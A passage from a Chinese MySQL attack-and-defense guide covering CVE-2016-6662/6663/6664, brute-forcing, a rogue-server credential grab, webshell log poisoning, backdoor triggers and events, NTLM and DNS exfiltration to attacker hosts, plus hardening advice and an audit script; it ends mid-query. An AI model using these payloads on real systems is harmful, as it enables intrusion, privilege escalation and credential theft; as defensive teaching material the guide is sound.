这是2016年发现的一个严重漏洞，允许攻击者通过注入恶意配置到MySQL配置文件（my.cnf）来实现远程代码执行。 漏洞原理： 攻击者通过SQL注入或已有的MySQL账号，利用日志功能将恶意配置写入my.cnf，然后在MySQL重启时加载恶意库文件。 利用条件： 拥有MySQL账号（或通过SQL注入） 拥有FILE权限或能够修改日志设置 能够触发MySQL重启 攻击步骤： -- 第一步：通过日志功能写入恶意配置 SET GLOBAL general_log_file = '/etc/mysql/my.cnf'; SET GLOBAL general_log = ON; SELECT ' [mysqld] malloc_lib=/tmp/mysql_exploit.so '; SET GLOBAL general_log = OFF; -- 第二步：将恶意动态库上传到服务器 -- 通过其他漏洞（如文件上传）将恶意.so文件放到/tmp/ -- 第三步：等待或触发MySQL重启 -- MySQL重启时会加载恶意库，执行任意代码 受影响版本： MySQL 5.7.x &lt; 5.7.15 MySQL 5.6.x &lt; 5.6.33 MySQL 5.5.x &lt; 5.5.52 MariaDB 10.1.x &lt; 10.1.18 MariaDB 10.0.x &lt; 10.0.28 MariaDB 5.5.x &lt; 5.5.52 Percona Server 5.7.x &lt; 5.7.14-8 Percona Server 5.6.x &lt; 5.6.32-78.1 Percona Server 5.5.x &lt; 5.5.51-38.2 6.2 CVE-2016-6663：条件竞争导致权限提升 这是一个本地权限提升漏洞，允许低权限的MySQL用户通过条件竞争提升到mysql系统用户权限。 漏洞原理： MySQL在创建表文件时存在条件竞争，攻击者可以在文件创建和权限设置之间的时间窗口内替换文件为符号链接。 利用方式： #!/bin/bash # 利用脚本示例 # 在MySQL中创建表，同时监控文件创建 while true; do if [ -f "/var/lib/mysql/testdb/exploit.MYD" ]; then rm -f /var/lib/mysql/testdb/exploit.MYD ln -s /etc/shadow /var/lib/mysql/testdb/exploit.MYD break fi done &amp; # 在MySQL中执行 mysql -u lowpriv -p -e " USE testdb; CREATE TABLE exploit (data TEXT); INSERT INTO exploit VALUES ('hacked'); " 受影响版本： MySQL 5.5.x &lt; 5.5.53 MySQL 5.6.x &lt; 5.6.34 MySQL 5.7.x &lt; 5.7.16 MariaDB 5.5.x &lt; 5.5.53 MariaDB 10.0.x &lt; 10.0.29 MariaDB 10.1.x &lt; 10.1.20 Percona Server 5.5.x &lt; 5.5.51-38.2 Percona Server 5.6.x &lt; 5.6.32-78.1 Percona Server 5.7.x &lt; 5.7.14-8 6.3 CVE-2016-6664：错误日志提权到root 这个漏洞允许mysql系统用户通过操纵错误日志文件提升到root权限。 漏洞原理： mysqld_safe脚本在处理错误日志时存在缺陷，攻击者可以将错误日志文件替换为符号链接，指向任意文件（如/etc/ld.so.preload），从而在MySQL重启时以root权限加载恶意库。 利用步骤： # 第一步：创建恶意动态库 cat &gt; /tmp/exploit.c &lt;&lt; 'EOF' #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; void _init() { system("chmod u+s /bin/bash"); unlink("/etc/ld.so.preload"); } EOF gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c # 第二步：替换错误日志为符号链接 rm -f /var/log/mysql/error.log ln -s /etc/ld.so.preload /var/log/mysql/error.log # 第三步：触发MySQL重启 # mysqld_safe（以root运行）在启动时向error.log写入日志信息 # 由于 error.log → /etc/ld.so.preload（符号链接） # 启动日志内容会被写入 ld.so.preload # 结合 CVE-2016-6662 注入的恶意配置，重启后会以root权限加载恶意库 service mysql restart # 第四步：获取root shell /bin/bash -p 受影响版本： MySQL 5.5.x &lt; 5.5.53 MySQL 5.6.x &lt; 5.6.34 MySQL 5.7.x &lt; 5.7.16 MariaDB 5.5.x &lt; 5.5.53 MariaDB 10.0.x &lt; 10.0.29 MariaDB 10.1.x &lt; 10.1.20 Percona Server（所有版本） 6.4 防御措施 针对CVE-2016-6662： 升级到修复版本 限制FILE权限 配置文件权限设为只读（chmod 644 /etc/mysql/my.cnf） 使用AppArmor/SELinux限制MySQL进程 针对CVE-2016-6663： 升级到修复版本 数据目录权限严格控制（chmod 700 /var/lib/mysql） 使用独立的文件系统挂载数据目录，禁用符号链接（nosymfollow） 针对CVE-2016-6664： 升级到修复版本 日志目录权限严格控制 使用systemd管理MySQL而非mysqld_safe 监控关键文件的符号链接变化 七、其他攻击面与CVE漏洞 🔐 认证与初始访问 7.1 弱口令爆破 # 使用hydra爆破MySQL hydra -l root -P /usr/share/wordlists/rockyou.txt target_ip mysql # 使用medusa爆破 medusa -h target_ip -u root -P passwords.txt -M mysql # nmap脚本爆破 nmap --script=mysql-brute -p 3306 target_ip 7.2 MySQL客户端任意文件读取（恶意服务端 / Fake MySQL Server） 这是一个针对MySQL客户端的攻击手法。MySQL协议允许服务端在认证阶段要求客户端发送本地文件（LOAD DATA LOCAL INFILE）。攻击者可以搭建恶意MySQL服务端，当受害者客户端连接时，窃取客户端主机上的任意文件。 攻击原理： MySQL协议在客户端执行 LOAD DATA LOCAL INFILE 时，服务端可以指定要读取的文件路径。恶意服务端可以在握手阶段就要求客户端发送敏感文件。 攻击场景： 攻击者搭建恶意MySQL服务器 诱导受害者连接（如通过钓鱼、SSRF、配置劫持等） 客户端连接时，恶意服务端要求读取敏感文件 客户端自动发送文件内容给服务端 利用工具： # Rogue-MySql-Server（最常用的工具） # https://github.com/allyshka/Rogue-MySql-Server git clone https://github.com/allyshka/Rogue-MySql-Server.git cd Rogue-MySql-Server # 修改配置文件，指定要读取的文件 vim config.json { "fileList": [ "/etc/passwd", "/etc/shadow", "/home/user/.ssh/id_rsa", "/var/www/html/config.php", "C:\\Windows\\win.ini", "C:\\Users\\Administrator\\Desktop\\passwords.txt" ], "port": 3306 } # 启动恶意服务器 python rogue_mysql_server.py 攻击示例： # 受害者执行以下命令连接 mysql -h attacker_ip -u root -p # 或者通过应用程序连接 # 恶意服务端会自动读取配置的文件列表 高级利用场景： SSRF配合利用： 通过SSRF漏洞让服务器连接恶意MySQL 例如：http://vulnerable.com/api?db_host=attacker_ip:3306 可以读取服务器上的敏感文件 供应链攻击： 攻击者劫持DNS或中间人攻击 将正常的MySQL服务器地址指向恶意服务器 读取开发人员或运维人员的本地文件 读取云凭证： { "fileList": [ "/home/user/.aws/credentials", "/home/user/.ssh/id_rsa", "/home/user/.docker/config.json", "/home/user/.kube/config", "C:\\Users\\user\\.aws\\credentials" ] } 常见敏感文件路径： 类别 Linux Windows 用户/密码 /etc/passwd、/etc/shadow C:\Windows\win.ini SSH密钥 /root/.ssh/id_rsa C:\Users\[user]\.ssh\id_rsa 命令历史 /root/.bash_history - Web配置 /var/www/html/config.php C:\xampp\mysql\bin\my.ini MySQL配置 /etc/mysql/my.cnf C:\xampp\mysql\bin\my.ini 云凭证 ~/.aws/credentials C:\Users\[user]\.aws\credentials SSH记录 ~/.ssh/known_hosts - FTP凭证 - C:\Users\[user]\AppData\Roaming\FileZilla\recentservers.xml 防御措施： 客户端配置禁用 LOCAL INFILE： # my.cnf 客户端配置 [client] local-infile=0 连接时显式禁用： # 命令行连接 mysql -h server_ip -u user -p --local-infile=0 # Python连接 import mysql.connector conn = mysql.connector.connect( host='server_ip', user='user', password='pass', allow_local_infile=False # 禁用 ) 验证服务器身份： # 使用SSL连接并验证证书 mysql -h server_ip -u user -p \ --ssl-mode=VERIFY_IDENTITY \ --ssl-ca=/path/to/ca.pem 网络隔离： 不要从不可信网络连接MySQL 使用VPN或跳板机连接生产数据库 限制数据库服务器的出站连接 监控异常连接： # 监控连接到非预期IP的MySQL连接 netstat -antp | grep :3306 | grep ESTABLISHED 应用层防护： ```python 在应用代码中验证数据库服务器地址 ALLOWED_DB_HOSTS = [‘10.0.1.100’, ‘10.0.1.101’] if db_host not in ALLOWED_DB_HOSTS: raise Exception(f”Unauthorized database host: {db_host}”) **检测方法**： ```bash # 检查客户端配置 mysql --help | grep local-infile # 测试是否允许LOCAL INFILE mysql -h target_ip -u user -p -e "SHOW VARIABLES LIKE 'local_infile';" 7.3 权限提升 - 利用SUID 如果MySQL的二进制文件被设置了SUID位： # 查找SUID的mysql相关文件 find / -perm -4000 -type f 2&gt;/dev/null | grep mysql # 如果mysql客户端有SUID，可以利用 mysql -u root -p -e '\! /bin/bash' 🐚 持久化与后门 7.4 日志投毒（Log Poisoning） 除了前面提到的通过 general_log 写入WebShell，还可以利用其他日志机制： -- 通过慢查询日志写入 SET GLOBAL slow_query_log = 'ON'; SET GLOBAL slow_query_log_file = '/var/www/html/shell.php'; SET GLOBAL long_query_time = 0; SELECT '&lt;?php system($_GET["cmd"]); ?&gt;' FROM mysql.user WHERE SLEEP(1); -- 通过二进制日志（需要解码） SET SQL_LOG_BIN = 1; -- 执行包含恶意代码的SQL，然后从binlog中提取 7.5 利用触发器（Trigger）持久化 攻击者可以创建触发器，在特定操作时自动执行恶意代码： -- 创建后门触发器 CREATE TRIGGER backdoor_trigger BEFORE INSERT ON users FOR EACH ROW BEGIN IF NEW.username = 'backdoor_user' THEN SET NEW.password = MD5('known_password'); SET NEW.role = 'admin'; END IF; END; -- 查看所有触发器 SHOW TRIGGERS; SELECT * FROM information_schema.TRIGGERS; -- 删除触发器 DROP TRIGGER backdoor_trigger; 7.6 利用存储过程（Stored Procedure） 存储过程可以封装复杂逻辑，也可能被用于隐藏后门： -- 创建后门存储过程 DELIMITER $$ CREATE PROCEDURE backdoor_proc(IN cmd VARCHAR(255)) BEGIN DECLARE result VARCHAR(1000); -- 如果有UDF，可以执行系统命令 SELECT sys_exec(cmd) INTO result; END$$ DELIMITER ; -- 调用 CALL backdoor_proc('whoami'); -- 审计存储过程 SELECT * FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE'; 7.7 利用事件调度器（Event Scheduler） MySQL的事件调度器可以定时执行SQL语句，攻击者可以创建定时任务： -- 启用事件调度器 SET GLOBAL event_scheduler = ON; -- 创建定时后门（每分钟检查特定表，执行命令） CREATE EVENT backdoor_event ON SCHEDULE EVERY 1 MINUTE DO BEGIN DECLARE cmd VARCHAR(255); SELECT command INTO cmd FROM backdoor_commands LIMIT 1; IF cmd IS NOT NULL THEN -- 执行命令（需要UDF支持） SELECT sys_exec(cmd); DELETE FROM backdoor_commands LIMIT 1; END IF; END; -- 查看所有事件 SHOW EVENTS; SELECT * FROM information_schema.EVENTS; -- 删除事件 DROP EVENT backdoor_event; 🌐 网络与系统攻击 7.8 利用UNC路径触发NTLM认证与网络请求 MySQL本身的 LOAD DATA INFILE 不支持HTTP协议，只能读取本地文件系统路径。但在 Windows环境 下，MySQL可以通过UNC路径触发SMB请求，从而发起对外网络连接，实现NTLM哈希窃取或与内网服务交互。 利用方式： -- 通过UNC路径触发SMB请求，窃取NTLM哈希（仅Windows） SELECT LOAD_FILE('\\\\attacker_ip\\share\\file.txt'); -- 配合Responder等工具捕获NTLM哈希 -- 攻击者在attacker_ip上运行：responder -I eth0 配合SSRF的场景： 如果目标应用存在SSRF漏洞，攻击者可以让目标服务器连接到恶意MySQL服务端（参见7.2节 Fake MySQL Server），进而利用 LOAD DATA LOCAL INFILE 读取目标服务器上的敏感文件。这种间接方式才是MySQL在SSRF攻击链中的真正角色。 攻击链示例： 1. 发现Web应用SSRF漏洞（如数据库连接配置可控） 2. 将数据库地址指向攻击者的恶意MySQL服务端 3. 恶意服务端利用协议特性要求客户端发送本地文件 4. 获取目标服务器上的敏感文件（配置文件、密钥等） 防御： 设置 secure_file_priv = NULL 禁止所有文件操作 Windows环境下限制MySQL进程的出站SMB连接 数据库连接地址使用白名单，禁止用户可控 7.9 拒绝服务攻击（DoS） -- 正则表达式DoS（ReDoS） SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaaaa' REGEXP '(a+)+$'; -- 笛卡尔积导致资源耗尽 SELECT * FROM large_table1, large_table2, large_table3; -- 递归查询导致栈溢出（MySQL 8.0+） WITH RECURSIVE cte AS ( SELECT 1 AS n UNION ALL SELECT n+1 FROM cte WHERE n &lt; 999999999 ) SELECT * FROM cte; 防御： 设置 max_execution_time 限制查询时间 设置 max_connections 限制并发连接数 使用 max_user_connections 限制单用户连接数 7.10 信息泄露 -- 获取数据库版本和系统信息 SELECT VERSION(); SELECT @@version_compile_os; SELECT @@version_compile_machine; -- 获取当前用户和权限 SELECT USER(); SELECT CURRENT_USER(); SHOW GRANTS; -- 获取所有数据库 SHOW DATABASES; SELECT schema_name FROM information_schema.schemata; -- 获取所有用户 SELECT user, host, authentication_string FROM mysql.user; -- 获取配置信息 SHOW VARIABLES; SHOW VARIABLES LIKE '%dir%'; -- 查看重要目录路径 -- 获取进程列表（可能泄露其他用户的查询） SHOW PROCESSLIST; SELECT * FROM information_schema.PROCESSLIST; 防御： 限制 information_schema 的访问权限 禁止应用账号执行 SHOW PROCESSLIST 错误信息不要暴露给前端用户 7.11 利用主从复制 在主从复制环境中，如果从库配置不当，可能被利用： -- 在从库上执行（如果有权限） STOP SLAVE; CHANGE MASTER TO MASTER_HOST='attacker_ip', MASTER_USER='root', MASTER_PASSWORD=''; START SLAVE; 防御： 从库使用只读模式：read_only=1 和 super_read_only=1 主从复制使用SSL加密 复制账号使用强密码，仅授予 REPLICATION SLAVE 权限 🔓 权限绕过与隐蔽信道 7.12 利用视图（View）的 SQL SECURITY DEFINER 提权 MySQL视图有两种安全模式：SQL SECURITY DEFINER（以视图创建者的权限执行）和 SQL SECURITY INVOKER（以调用者的权限执行）。当高权限用户使用 DEFINER 模式创建视图并授权给低权限用户时，低权限用户可以借助视图间接访问到自身无权限的数据。 攻击场景： -- DBA使用root创建了一个DEFINER视图 CREATE DEFINER='root'@'localhost' SQL SECURITY DEFINER VIEW all_users AS SELECT user, host, authentication_string FROM mysql.user; -- 然后授予普通用户访问权限 GRANT SELECT ON mydb.all_users TO 'app_user'@'%'; -- 低权限用户通过视图可以读取mysql.user表（本来无权限） -- 以app_user登录后执行： SELECT * FROM mydb.all_users; -- 成功获取所有用户的密码哈希！ 审计方法： -- 查找所有使用DEFINER模式的视图 SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE FROM information_schema.VIEWS WHERE SECURITY_TYPE = 'DEFINER'; -- 检查视图的DEFINER是否为高权限用户 SELECT v.TABLE_SCHEMA, v.TABLE_NAME, v.DEFINER, v.SECURITY_TYPE, v.VIEW_DEFINITION FROM information_schema.VIEWS v WHERE v.SECURITY_TYPE = 'DEFINER' AND v.DEFINER LIKE 'root@%'; 防御： 优先使用 SQL SECURITY INVOKER 模式创建视图 使用 DEFINER 时，DEFINER账号应遵循最小权限原则，不要使用root 定期审计 information_schema.VIEWS 中的 SECURITY_TYPE 和 DEFINER 字段 遵循最小权限原则，不要通过视图间接暴露敏感表 7.13 利用预处理语句（Prepared Statement）绕过WAF 某些WAF或过滤机制可能被预处理语句绕过： -- 使用预处理语句执行动态SQL SET @sql = CONCAT('SELECT * FROM users WHERE id = ', @user_input); PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; 7.14 利用字符集转换绕过（宽字节注入） 宽字节注入原理 当MySQL客户端使用GBK等多字节编码时，攻击者可以利用编码转换的特性绕过基于 addslashes() 或 mysql_real_escape_string() 的转义防护。 攻击原理： 正常转义流程： 输入: ' OR 1=1-- 转义后: \' OR 1=1-- （单引号被反斜杠转义，注入失败） 宽字节注入流程（GBK编码）： 输入: %bf' OR 1=1-- 转义后: %bf\' OR 1=1-- （即 %bf%5c%27 OR 1=1--） GBK解码: 縗' OR 1=1-- （%bf%5c 被合并为GBK汉字"縗"，单引号逃逸！） addslashes() 在单引号 '（0x27）前插入反斜杠 \（0x5c）。但在GBK编码中，0xbf5c 是一个合法的双字节汉字。因此 0xbf + 0x5c（反斜杠）被GBK解释器”吞掉”，导致后面的单引号 0x27 逃逸出来，注入成功。 利用示例： -- 宽字节注入（GBK编码环境） -- 输入: %df' OR 1=1-- -- 转换后: 運' OR 1=1--（%df%5c被合并为汉字"運"） -- 使用十六进制绕过关键字过滤 SELECT 0x61646D696E; -- 等同于 'admin' -- 使用CHAR函数绕过 SELECT CHAR(97,100,109,105,110); -- 等同于 'admin' 防御： 统一使用UTF-8编码，在连接和数据库层面都设置 character_set_client=utf8mb4 使用参数化查询（PreparedStatement）而非字符串转义 在 my.cnf 中强制编码： [mysqld] character-set-server = utf8mb4 collation-server = utf8mb4_unicode_ci [client] default-character-set = utf8mb4 7.15 利用MySQL注释绕过 -- 内联注释绕过 SELECT/**/username/**/FROM/**/users; -- 版本注释（特定版本才执行） /*!50000 SELECT * FROM users */; -- 多行注释 SELECT * FROM users /*! WHERE id=1 */; 7.16 DNS外带（DNS Exfiltration） 在无回显的情况下，可以通过DNS查询带出数据： -- 通过LOAD_FILE触发DNS查询（仅Windows，利用UNC路径） SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\abc')); -- Windows UNC路径 SELECT LOAD_FILE('\\\\attacker.com\\share\\file.txt'); 7.17 利用MySQL Proxy中间人攻击 如果使用MySQL Proxy且未加密，攻击者可以： 窃听所有SQL查询和结果 篡改查询语句 注入恶意SQL 防御： 使用SSL/TLS加密连接 验证服务器证书 使用VPN或专用网络 📋 CVE漏洞汇总 7.18 其他重要CVE漏洞 CVE-2023-21980：MySQL Server Client程序漏洞 CVSS评分：7.1（高危） 影响版本：MySQL 8.0.32及之前版本 漏洞描述：允许低权限攻击者通过网络访问破坏MySQL Server，影响机密性、完整性和可用性 防御：升级到MySQL 8.0.33+ CVE-2023-22028：MySQL Server InnoDB组件DoS漏洞 CVSS评分：4.9（中危） 影响版本：MySQL 8.0.x 漏洞描述：高权限攻击者可导致MySQL Server挂起或崩溃 防御：升级到最新版本，限制高权限账号 CVE-2021-2022：MySQL Server InnoDB组件DoS漏洞 CVSS评分：4.4（中危） 影响版本：MySQL 5.6.x, 5.7.x, 8.0.x 漏洞描述：高权限攻击者可导致MySQL Server频繁崩溃 防御：升级到修复版本 CVE-2024-21201：MySQL Optimizer组件DoS漏洞 CVSS评分：4.9（中危） 影响版本：MySQL 8.0.39及之前，8.4.x 漏洞描述：易于利用的漏洞，可导致MySQL Server挂起或崩溃 防御：升级到MySQL 8.0.40+或8.4.3+ 八、MySQL 8.0+ 安全新特性 MySQL 8.0 引入了大量安全增强功能，了解并正确使用这些特性是加固现代MySQL部署的关键。 8.1 认证增强 caching_sha2_password 成为默认认证插件： MySQL 8.0 将默认认证插件从 mysql_native_password 更换为 caching_sha2_password，提供更强的密码哈希安全性。 -- 查看当前默认认证插件 SHOW VARIABLES LIKE 'default_authentication_plugin'; -- 查看各用户使用的认证插件 SELECT user, host, plugin FROM mysql.user; -- 如需兼容旧客户端，可为特定用户指定旧插件（不推荐） ALTER USER 'legacy_app'@'%' IDENTIFIED WITH mysql_native_password BY 'password'; 密码策略增强： -- 安装密码验证组件（MySQL 8.0+） INSTALL COMPONENT 'file://component_validate_password'; -- 配置密码策略 SET GLOBAL validate_password.policy = 'STRONG'; -- LOW / MEDIUM / STRONG SET GLOBAL validate_password.length = 12; -- 最小长度 SET GLOBAL validate_password.mixed_case_count = 1; -- 至少1个大写+1个小写 SET GLOBAL validate_password.number_count = 1; -- 至少1个数字 SET GLOBAL validate_password.special_char_count = 1; -- 至少1个特殊字符 -- 密码过期策略 SET GLOBAL default_password_lifetime = 90; -- 90天后过期 ALTER USER 'app_user'@'%' PASSWORD EXPIRE INTERVAL 180 DAY; -- 密码历史与重用限制（防止用户反复使用旧密码） SET GLOBAL password_history = 5; -- 记住最近5个密码 SET GLOBAL password_reuse_interval = 365; -- 365天内不能重用 -- 双密码支持（平滑密码轮换，不中断服务） ALTER USER 'app_user'@'%' IDENTIFIED BY 'new_password' RETAIN CURRENT PASSWORD; -- 确认所有客户端切换到新密码后： ALTER USER 'app_user'@'%' DISCARD OLD PASSWORD; 8.2 权限增强 角色（Roles）系统： -- 创建角色 CREATE ROLE 'app_read', 'app_write', 'app_admin'; -- 为角色分配权限 GRANT SELECT ON mydb.* TO 'app_read'; GRANT INSERT, UPDATE, DELETE ON mydb.* TO 'app_write'; GRANT ALL PRIVILEGES ON mydb.* TO 'app_admin'; -- 将角色授予用户 GRANT 'app_read' TO 'readonly_user'@'%'; GRANT 'app_read', 'app_write' TO 'app_user'@'%'; -- 设置默认角色 SET DEFAULT ROLE 'app_read' TO 'readonly_user'@'%'; -- 查看角色授权 SHOW GRANTS FOR 'app_read'; 动态权限与部分撤销： -- MySQL 8.0 新增的动态权限（更细粒度） GRANT CONNECTION_ADMIN ON *.* TO 'dba'@'%'; -- 连接管理权限 GRANT BACKUP_ADMIN ON *.* TO 'backup'@'%'; -- 备份管理权限 GRANT AUDIT_ADMIN ON *.* TO 'auditor'@'%'; -- 审计管理权限 -- 部分撤销：全局权限的例外（需要启用 partial_revokes） SET GLOBAL partial_revokes = ON; GRANT SELECT ON *.* TO 'analyst'@'%'; REVOKE SELECT ON mysql.* FROM 'analyst'@'%'; -- 排除mysql系统库 8.3 连接安全 连接控制插件（防暴力破解）： -- 安装连接控制插件 INSTALL PLUGIN CONNECTION_CONTROL SONAME 'connection_control.so'; INSTALL PLUGIN CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS SONAME 'connection_control.so'; -- 配置：连续失败3次后开始延迟，最大延迟10秒 SET GLOBAL connection_control_failed_connections_threshold = 3; SET GLOBAL connection_control_min_connection_delay = 1000; -- 1秒 SET GLOBAL connection_control_max_connection_delay = 10000; -- 10秒 -- 查看失败登录统计 SELECT * FROM information_schema.CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS; 强制加密连接： -- 要求所有连接必须使用SSL/TLS SET GLOBAL require_secure_transport = ON; -- 或针对特定用户 ALTER USER 'app_user'@'%' REQUIRE SSL; ALTER USER 'sensitive_user'@'%' REQUIRE X509; -- 要求客户端证书 # my.cnf 配置 TLS [mysqld] require_secure_transport = ON ssl-ca = /etc/mysql/ssl/ca.pem ssl-cert = /etc/mysql/ssl/server-cert.pem ssl-key = /etc/mysql/ssl/server-key.pem tls_version = TLSv1.2,TLSv1.3 8.4 审计增强 -- MySQL Enterprise Audit（商业版）提供完整审计能力 -- 开源替代方案：Percona Audit Plugin 或 MariaDB Audit Plugin -- MySQL 8.0 组件架构的审计日志 INSTALL COMPONENT 'file://component_audit_api_message_emit'; -- 查看审计日志状态 SHOW VARIABLES LIKE 'audit_log%'; 8.5 MySQL 8.0 安全配置推荐 # my.cnf — MySQL 8.0+ 安全配置推荐 [mysqld] # 认证 default_authentication_plugin = caching_sha2_password default_password_lifetime = 90 password_history = 5 password_reuse_interval = 365 # 连接安全 require_secure_transport = ON tls_version = TLSv1.2,TLSv1.3 # 权限 partial_revokes = ON # 文件安全 secure_file_priv = NULL local_infile = OFF # 网络 bind-address = 127.0.0.1 mysqlx-bind-address = 127.0.0.1 # 别忘了X Protocol端口 九、MySQL安全加固检查清单 检查项 操作建议 优先级 相关CVE secure_file_priv 设置为 NULL 或指定安全目录 高 CVE-2016-6662 root远程登录 禁止，仅允许 localhost 高 - 匿名用户 全部删除 高 - 密码策略 启用 validate_password 组件，最小长度12位 高 CVE-2012-2122 FILE权限 应用账号禁止授予 高 CVE-2016-6662 SUPER权限 应用账号禁止授予 高 - 端口暴露 仅限内网访问，bind-address=127.0.0.1 高 CVE-2012-2122 服务运行权限 以低权限用户（如mysql）运行，禁止root/SYSTEM 高 CVE-2016-6664 版本更新 保持最新稳定版本，及时修补已知漏洞 高 所有CVE 配置文件权限 my.cnf设为644，仅root可写 高 CVE-2016-6662 数据目录权限 设为700，禁用符号链接 高 CVE-2016-6663 日志目录权限 严格控制，防止符号链接攻击 高 CVE-2016-6664 认证插件 MySQL 8.0+ 使用 caching_sha2_password 高 - 连接控制 安装 connection_control 插件防暴力破解 高 - general_log 生产环境关闭，防止被利用写入WebShell 中 CVE-2016-6662 slow_query_log 生产环境谨慎开启，防止日志投毒 中 - local-infile 设置为0，防止恶意服务端读取文件 中 - plugin_dir 目录权限仅MySQL可读，禁止写入 中 - mysql.func 定期审计，检查异常UDF 中 - event_scheduler 生产环境按需开启，定期审计事件 中 - 触发器审计 定期检查 information_schema.TRIGGERS 中 - 存储过程审计 定期检查 information_schema.ROUTINES 中 - 视图审计 检查视图的 SECURITY_TYPE 和 DEFINER，防止权限绕过 中 - 从库只读 设置 read_only=1 和 super_read_only=1 中 - 查询超时 设置 max_execution_time 防止DoS 中 CVE-2024-21201 连接限制 配置 max_connections 和 max_user_connections 中 - 备份安全 备份文件加密存储，脱机保存 中 - SSL/TLS 强制客户端加密连接，require_secure_transport=ON 中 - 字符集 统一使用 utf8mb4，防止宽字节注入 中 - 密码过期 设置 default_password_lifetime 中 - 角色管理 使用角色统一管理权限，避免逐用户授权 中 - X Protocol端口 mysqlx-bind-address=127.0.0.1，限制33060端口 中 - 错误信息 不要向前端暴露详细的数据库错误 低 - PROCESSLIST 限制普通用户查看进程列表 低 - 十、快速安全加固脚本 #!/bin/bash # MySQL安全加固脚本 # 使用方式: bash mysql_hardening.sh # 注意：需要以MySQL root身份执行，脚本会提示输入密码 MYSQL_CMD="mysql -u root -p" echo "============================================" echo "[+] MySQL安全加固开始..." echo "============================================" # ======================== # 1. 用户与认证安全 # ======================== echo "" echo "[*] === 用户与认证安全 ===" echo "[*] 检查并删除匿名用户：" $MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE User='';" $MYSQL_CMD -e "DELETE FROM mysql.user WHERE User='';" echo "[*] 禁止root远程登录：" $MYSQL_CMD -e "DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');" echo "[*] 删除test数据库：" $MYSQL_CMD -e "DROP DATABASE IF EXISTS test;" echo "[*] 检查空密码账号：" $MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE authentication_string='';" echo "[*] 检查密码策略配置：" $MYSQL_CMD -e "SHOW VARIABLES LIKE 'validate_password%';" # ======================== # 2. 权限审计 # ======================== echo "" echo "[*] === 权限审计 ===" echo "[*] 检查拥有FILE权限的用户：" $MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE File_priv='Y';" echo "[*] 检查拥有SUPER权限的用户：" $MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Super_priv='Y';" echo "[*] 检查拥有GRANT权限的用户：" $MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Grant_priv='Y';" echo "[*] 检查拥有SHUTDOWN权限的用户：" $MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y';" # ======================== # 3. 关键配置检查 # ======================== echo "" echo "[*] === 关键配置检查 ===" echo "[*] 检查 secure_file_priv：" $MYSQL_CMD -e "SHOW VARIABLES LIKE 'secure_file_priv';" echo "[*] 检查 local_infile：" $MYSQL_CMD -e "SHOW VARIABLES LIKE 'local_infile';" echo "[*] 检查 bind-address：" $MYSQL_CMD -e "SHOW VARIABLES LIKE 'bind_address';" echo "[*] 检查 SSL/TLS 配置：" $MYSQL_CMD -e "SHOW VARIABLES LIKE '%ssl%';" $MYSQL_CMD -e "SHOW VARIABLES LIKE 'require_secure_transport';" echo "[*] 检查 general_log 状态：" $MYSQL_CMD -e "SHOW VARIABLES LIKE 'general_log%';" echo "[*] 检查 slow_query_log 状态：" $MYSQL_CMD -e "SHOW VARIABLES LIKE 'slow_query_log%';" # ======================== # 4. 后门与异常检查 # ======================== echo "" echo "[*] === 后门与异常检查 ===" echo "[*] 检查自定义函数（UDF）：" $MYSQL_CMD -e "SELECT * FROM mysql.func;" echo "[*] 检查所有触发器：" $MYSQL_CMD -e "SELECT TRIGGER_SCHEMA, TRIGGER_NAME, EVENT_MANIPULATION, EVENT_OBJECT_TABLE FROM information_schema.TRIGGERS;" echo "[*] 检查定时事件：" $MYSQL_CMD -e "SELECT EVENT_SCHEMA, EVENT_NAME, STATUS FROM information_schema.EVENTS;" echo "[*] 检查存储过程：" $MYSQL_CMD -e "SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';" echo "[*] 检查DEFINER视图：" $MYSQL_CMD -e "SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE FROM information_schema.VIEWS WHERE SECURITY_TYPE='DEFINER';" # ======================== # 5. 刷新权限 # ======================== echo "" $MYSQL_CMD -e "FLUSH PRIVILEGES;" echo "============================================" echo "[+] 安全加固检查完成！" echo "============================================" echo "" echo "[!] 请手动检查 my.cnf 配置文件，确保以下参数正确设置：" echo " - secure_file_priv = NULL" echo " - local-infile = 0" echo " - bind-address = 127.0.0.1" echo " - require_secure_transport = ON" echo " - default_authentication_plugin = caching_sha2_password" echo " - max_connections = 100" echo " - max_execution_time = 30000" echo " - default_password_lifetime = 90" echo " - character-set-server = utf8mb4" 十一、渗透测试速查清单 以下命令可作为获取 MySQL 访问权限后的标准操作流程，各攻击手法的详细原理参见前文对应章节。 11.1 信息收集 -- 基础信息（版本 / 用户 / 权限 / 路径） SELECT VERSION(), USER(), CURRENT_USER(); SHOW GRANTS; SELECT @@hostname, @@datadir, @@plugin_dir, @@basedir; SELECT @@secure_file_priv, @@version_compile_os, @@version_compile_machine; -- 配置信息 SHOW VARIABLES LIKE '%log%'; SHOW VARIABLES LIKE '%dir%'; SHOW VARIABLES LIKE 'local_infile'; SHOW VARIABLES LIKE '%ssl%'; 11.2 权限与用户评估 SELECT user, host, plugin FROM mysql.user; SELECT user, host FROM mysql.user WHERE File_priv='Y'; -- FILE 权限 SELECT user, host FROM mysql.user WHERE Super_priv='Y'; -- SUPER 权限 SELECT user, host FROM mysql.user WHERE Grant_priv='Y'; -- GRANT 权限 SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y'; -- SHUTDOWN 权限 SELECT user, host FROM mysql.user WHERE authentication_string=''; -- 空密码 11.3 数据枚举 -- 敏感表查找 SELECT 